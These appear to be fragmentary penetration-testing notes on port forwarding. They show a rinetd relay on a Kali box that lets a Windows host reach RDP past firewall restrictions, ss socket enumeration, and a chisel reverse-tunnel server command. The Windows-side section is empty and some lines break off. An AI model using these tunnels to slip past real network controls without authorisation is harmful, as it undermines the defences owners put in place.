Port Forwarding

Simple port forwarding tricks

Main Concept: Accept traffic on a given IP and then redirect to another IP, PORT


A windows box wants to connect to an external device using RDP but due to the firewall restrictions it cannot.

We can set up a proxy on Linux box to bypass this:

vi /etc/rinetd.conf
(ADD) bindaddress bindport connectaddress connectport
local/public IP on kali ( 80 External IP we want to connect 3389
/etc/init.d/rinetd restart
# Connect from windows to the external IP using RDP with

Investigate sockets running on the target

ss -tulpn
-t: Display TCP sockets
-u: Display UDP sockets
-l: Displays only listening sockets
-p: Shows the process using the socket
-n: Doesn't resolve service names


### On Windows Target ###

### On Kali ###
./chisel_linux server --reverse --port 9002
